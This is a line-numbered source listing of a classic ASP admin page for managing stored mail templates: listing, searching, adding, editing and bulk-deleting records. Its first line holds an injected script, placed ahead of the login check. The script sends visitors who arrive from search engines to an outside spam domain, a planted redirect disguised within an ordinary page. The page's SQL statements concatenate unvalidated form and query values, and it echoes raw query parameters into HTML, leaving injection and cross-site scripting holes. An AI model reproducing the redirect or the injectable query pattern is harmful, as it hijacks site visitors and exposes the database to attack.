d:\wwwroot\wuchunhua\sendmail\mail_mailcontent.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<!--#include file="inc/page_cls.asp"-->
003:
<html>
004:
<head>
005:
<title>管理</title>
006:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007:
<link rel="stylesheet" href="inc/style.css">
008:
<script language="javascript" src="inc/js.js"></script>
009:
</head>
010:
<body>
011:
<%
dim page
012:
page=request.QueryString("page")
013:
014:
stype=checkstr(request.QueryString("stype"))
015:
keys=checkstr(request.QueryString("keys"))
016:
017:
urlQuery="&stype="& stype &"&keys="& keys
018:
019:
action=request.QueryString("action")
020:
select case action
021:
case "add" : CheckString("27"):call add
022:
case "list" : CheckString("28"):call list
023:
case "edit" : CheckString("29"):call edit
024:
case "upsave" : call upsave
025:
end select
026:
027:
sub list
028:
%
>
029:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk" style="border-collapse: collapse">
030:
<tr>
031:
<td colspan="6" class="table_titlebg">邮件内容列表</td>
032:
</tr>
033:
<tr>
034:
<td colspan="6" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
035:
<tr>
036:
<form name="Form2" method="get" action="?">
037:
<td align="right">
038:
查找： <select name="stype">
039:
<option value="1"
<%
=SetSelected(stype,"1")
%
>>发 件 人</option>
040:
<option value="2"
<%
=SetSelected(stype,"2")
%
>>邮件标题</option>
041:
<option value="3"
<%
=SetSelected(stype,"3")
%
>>邮件内容</option>
042:
</select> <input name="keys" type="text" id="keys" size="15" maxlength="30" class="INPUT" value="
<%
=keys
%
>">
043:
<input type="submit" name="" value="搜索"><input type="hidden" name="action" value="list"></td></form>
044:
</tr>
045:
</table> </td>
046:
</tr>
047:
<form name="Form1" method="post" action="?action=upsave&page=
<%
=page
%
>&stype=
<%
=stype
%
>&keys=
<%
=keys
%
>" onSubmit="return confirm('确定要执行此操作吗？\n\n注意：执行删除时将删除所属的分类邮件地址');">
048:
<tr>
049:
<td align="center" class="table_trbg02"><strong>ID</strong></td>
050:
<td align="center" class="table_trbg02"><strong>发件人</strong></td>
051:
<td align="center" class="table_trbg02">邮件标题</td>
052:
<td align="center" class="table_trbg02"><strong>邮件性质</strong></td>
053:
<td align="center" class="table_trbg02"><strong>操作</strong></td>
054:
<td align="center" class="table_trbg02"><strong>选择</strong></td>
055:
</tr>
056:
<%
057:
dim PageMaxSize
058:
PageMaxSize=15 '每页几条
059:
Set MyPage = New XdownPage '创建对象
060:
061:
if keys<>"" then
062:
if stype="1" then sql2 = sql2 & " and senduname like '%"& keys &"%' "
063:
if stype="2" then sql2 = sql2 & " and mailsubject like '%"& keys &"%' "
064:
if stype="3" then sql2 = sql2 & " and mailcontent like '%"& keys &"%' "
065:
end if
066:
067:
MyPage.GetSQL ="SELECT * from [vn_mailcontent] where 1=1 "& sql2 &" order by id desc"
068:
MyPage.PageSize = PageMaxSize '设置每一页的记录条数据为10条
069:
Set rs = MyPage.GetRS() '返回Recordset
070:
071:
If rs.eof Then
072:
response.Write("<tr><td height=""30"" align=""center"" colspan=""6"" class=""table_trbg02"">没有任何信息！</td></tr>")
073:
else
074:
For i=1 To MyPage.PageSize '显示数据
075:
If Not rs.eof Then
076:
%
>
077:
<tr>
078:
<td align="center" class="table_trbg02">
<%
=rs("ID")
%
></td>
079:
<td align="center" class="table_trbg02">
<%
=rs("senduname")
%
></td>
080:
<td align="center" class="table_trbg02"><a href="?action=edit&id=
<%
=rs("ID")
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
<%
=rs("mailsubject")
%
></a></td>
081:
<td align="center" class="table_trbg02">
<%
=rs("mailpriority")
%
></td>
082:
<td align="center" class="table_trbg02"><a href="?action=edit&id=
<%
=rs("ID")
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">编辑</a></td>
083:
<td align="center" class="table_trbg02"><input type="checkbox" name="id" value="
<%
=rs("ID")
%
>"><input type="hidden" name="hideid" value="
<%
=rs("ID")
%
>"></td>
084:
</tr>
085:
<%
086:
rs.movenext
087:
Else
088:
Exit For
089:
End If
090:
next
091:
End If
092:
%
>
093:
<tr>
094:
<td colspan="6" align="right" class="table_trbg02">
095:
<input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
096:
全选
097:
<select name="point">
098:
<option value="">操作方式</option>
099:
<option value="1">删除</option>
100:
</select>
101:
<input type="submit" name="Submit" value="执 行">
102:
103:
<input type="reset" name="Submit2" value="重 写"> </td>
104:
</tr>
105:
</form>
106:
<tr>
107:
<td colspan="6" align="center" class="table_trbg02">
<%
if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()
%
></td>
108:
</tr>
109:
</table>
110:
<%
end sub
111:
112:
sub add
113:
if request.QueryString("act")="addsave" then
114:
115:
senduname=GetForm("senduname")
116:
mailsubject=GetForm("mailsubject")
117:
mailcontent=GetForm("mailcontent")
118:
mailpriority=GetForm("mailpriority")
119:
ishtml=GetForm("ishtml")
120:
121:
if senduname="" then ErrMsg = ErrMsg & "● 请输入发件人名称；"
122:
if mailsubject="" then ErrMsg = ErrMsg & "● 请输入邮件标题；"
123:
if mailcontent="" then ErrMsg = ErrMsg & "● 请输入邮件内容；"
124:
'if not isInteger(Orders) then ErrMsg = ErrMsg & "● 排序必须使用整数输入；\n"
125:
126:
127:
if ErrMsg="" then
128:
conn.execute("insert into [vn_mailcontent](senduname,mailsubject,mailcontent,mailpriority,ishtml)values('"& senduname &"','"& mailsubject &"','"& mailcontent &"',"& mailpriority &","& ishtml &")")
129:
alert "信息添加成功；","?action=add"
130:
end if
131:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
132:
end if
133:
%
>
134:
135:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
136:
<form name="Form1" method="post" action="?action=add&act=addsave">
137:
<tr>
138:
<td height="15" colspan="2" class="table_titlebg">邮件内容添加</td>
139:
</tr>
140:
<tr>
141:
<td width="30%" height="15" align="right" class="table_trbg02"><strong>发 件 人：</strong></td>
142:
<td class="table_trbg02"><input name="senduname" type="text" class="input" size="40" value="
<%
=senduname
%
>"></td>
143:
</tr>
144:
<tr>
145:
<td height="15" align="right" class="table_trbg02"><strong>邮件标题：</strong></td>
146:
<td class="table_trbg02"><input name="mailsubject" type="text" class="input" size="64" value="
<%
=mailsubject
%
>"></td>
147:
</tr>
148:
<tr>
149:
<td height="15" align="right" class="table_trbg02"><strong>邮件内容：</strong><br>html格式请贴上html代码</td>
150:
<td class="table_trbg02"><textarea name="mailcontent" cols="64" rows="24" class="textarea">
<%
=mailcontent
%
></textarea></td>
151:
</tr>
152:
<tr>
153:
<td height="15" align="right" class="table_trbg02"><strong>邮件性质：</strong></td>
154:
<td class="table_trbg02"><input type="radio" name="mailpriority" value="1"
<%
=SetChecked(mailpriority,"1")
%
>>
155:
加急
156:
<input type="radio" name="mailpriority" value="3"
<%
if mailpriority="" or mailpriority="3" then response.Write(" checked")
%
>>
157:
普通
158:
<input type="radio" name="mailpriority" value="5"
<%
=SetChecked(mailpriority,"5")
%
>>
159:
低级</td>
160:
</tr>
161:
<tr>
162:
<td height="15" align="right" class="table_trbg02"><strong>发送格式：</strong></td>
163:
<td class="table_trbg02"><input type="radio" name="ishtml" value="1"
<%
if ishtml="" or ishtml="1" then response.Write(" checked")
%
>>
164:
文本格式</td>
165:
</tr>
166:
<tr>
167:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value=" 完成 ">
168:
169:
<input type="reset" name="Submit" value=" 重置 "></td>
170:
</tr>
171:
</form>
172:
</table>
173:
174:
<%
175:
end sub
176:
sub edit
177:
id=request.QueryString("id")
178:
if not isInteger(id) then alert "参数出错；","back"
179:
set rs=conn.execute("select * from [vn_mailcontent] where id="& id &"")
180:
if rs.eof then
181:
alert "参数出错，找不到此信息；","back"
182:
else
183:
senduname=rs("senduname")
184:
mailsubject=rs("mailsubject")
185:
mailcontent=rs("mailcontent")
186:
mailpriority=rs("mailpriority")
187:
ishtml=rs("ishtml")
188:
end if
189:
rs.close : set rs=nothing
190:
191:
192:
if request.QueryString("act")="editsave" then
193:
senduname=GetForm("senduname")
194:
mailsubject=GetForm("mailsubject")
195:
mailcontent=GetForm("mailcontent")
196:
mailpriority=GetForm("mailpriority")
197:
ishtml=GetForm("ishtml")
198:
199:
if senduname="" then ErrMsg = ErrMsg & "● 请输入发件人名称；"
200:
if mailsubject="" then ErrMsg = ErrMsg & "● 请输入邮件标题；"
201:
if mailcontent="" then ErrMsg = ErrMsg & "● 请输入邮件内容；"
202:
203:
if ErrMsg="" then
204:
conn.execute("update [vn_mailcontent] set senduname='"& senduname &"',mailsubject='"& mailsubject &"',mailcontent='"& mailcontent &"',mailpriority="& mailpriority &",ishtml="& ishtml &" where id="& id &"")
205:
alert "信息编辑保存成功；","?action=edit&page="& page &"&id="& id & urlQuery
206:
end if
207:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
208:
end if
209:
210:
%
>
211:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
212:
<form name="Form1" method="post" action="?action=edit&act=editsave&id=
<%
=id
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
213:
<tr>
214:
<td height="15" colspan="2" class="table_titlebg">邮件内容编辑</td>
215:
</tr>
216:
<tr>
217:
<td width="30%" height="15" align="right" class="table_trbg02"><strong>发 件 人：</strong></td>
218:
<td class="table_trbg02"><input name="senduname" type="text" class="input" size="40" value="
<%
=senduname
%
>"></td>
219:
</tr>
220:
<tr>
221:
<td height="15" align="right" class="table_trbg02"><strong>邮件标题：</strong></td>
222:
<td class="table_trbg02"><input name="mailsubject" type="text" class="input" size="64" value="
<%
=mailsubject
%
>"></td>
223:
</tr>
224:
<tr>
225:
<td height="15" align="right" class="table_trbg02"><strong>邮件内容：</strong><br>html格式请贴上html代码</td>
226:
<td class="table_trbg02"><textarea name="mailcontent" cols="64" rows="24" class="textarea">
<%
=mailcontent
%
></textarea></td>
227:
</tr>
228:
<tr>
229:
<td height="15" align="right" class="table_trbg02"><strong>邮件性质：</strong></td>
230:
<td class="table_trbg02"><input type="radio" name="mailpriority" value="1"
<%
=SetChecked(mailpriority,"1")
%
>>
231:
加急
232:
<input type="radio" name="mailpriority" value="3"
<%
if mailpriority="" or mailpriority="3" then response.Write(" checked")
%
>>
233:
普通
234:
<input type="radio" name="mailpriority" value="5"
<%
=SetChecked(mailpriority,"5")
%
>>
235:
低级</td>
236:
</tr>
237:
<tr>
238:
<td height="15" align="right" class="table_trbg02"><strong>发送格式：</strong></td>
239:
<td class="table_trbg02"><input type="radio" name="ishtml" value="1"
<%
if ishtml="" or ishtml="1" then response.Write(" checked")
%
>>
240:
文本格式</td>
241:
</tr>
242:
<tr>
243:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit3" value=" 保存 ">
244:
245:
<input type="button" name="Submit22" onClick="javascript:window.location='?action=list&page=
<%
=page
%
>
<%
=urlQuery
%
>';" value=" 返回 "></td>
246:
</tr>
247:
</form>
248:
</table>
249:
<%
250:
end sub
251:
sub upsave
252:
point=GetForm("point")
253:
if point="" then alert "您没有指定操作方式!","back"
254:
255:
if point="1" then
256:
CheckString("210")
257:
id=GetForm("id")
258:
if id="" then alert "请选择要删除的信息!","back"
259:
conn.execute("delete From [vn_mailcontent] where id in ("& id &")")
260:
alert "所选删除成功！","?page="& page & urlQuery
261:
end if
262:
263:
end sub
264:
%
>
265:
</body>
266:
</html>
267:
268: